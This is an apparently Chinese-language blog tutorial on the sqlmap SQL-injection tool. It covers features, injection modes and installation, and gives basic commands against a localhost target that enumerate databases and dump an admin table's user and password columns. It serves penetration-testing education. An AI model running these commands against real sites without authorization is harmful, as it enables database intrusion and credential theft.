Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
二、Sqlmap功能
Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
·完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
· 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
·在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
·支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
·支持自动识别密码哈希格式并通过字典破解密码哈希。
·支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
·支持在数据库管理系统中搜索指定的数据库名、表名或列名
·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
·当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
三、Sqlmap原理图
四、注入模式
1.基于布尔的盲注,既可以根据返回页面判断条件真假的注入。
2.基于时间的盲注,既不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语 句是否执行(既页面返回时间是否增加)来判断。
3.基于报错注入,既页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4.联合查询注入,可以使用union的情况下的注入。
5.堆查询注入,可以同时执行多条语句的执行时的注入。
五、Sqlmap安装
代码语言:javascript复制git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
六、基本使用方法:
GET
代码语言:javascript复制python sqlmap.py -u "http://127.0.0.1/index.php?id=1"
测试该注入点是否能够进行注入
代码语言:javascript复制python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dbs
对注入点进行注入,并导出数据库名
对database这个数据库进行表的猜测
代码语言:javascript复制python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database --tables
对database下的admin表中字段进行猜测
代码语言:javascript复制python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin --columns
代码语言:javascript复制python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D database -T admin -C user,password --dump
对database下的admin表中user和password字段进行猜测并dump
POST
代码语言:javascript复制python sqlmap.py -r header.txt
python sqlmap.py -r header.txt --dbs
-r是从一个文件中载入HTTP请求
其余都与GET一样将-u部分改成-r
header.txt(请求头可通过抓包获取)
代码语言:javascript复制POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
id=1
Cookie
代码语言:javascript复制python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1" --level=2
未完待续......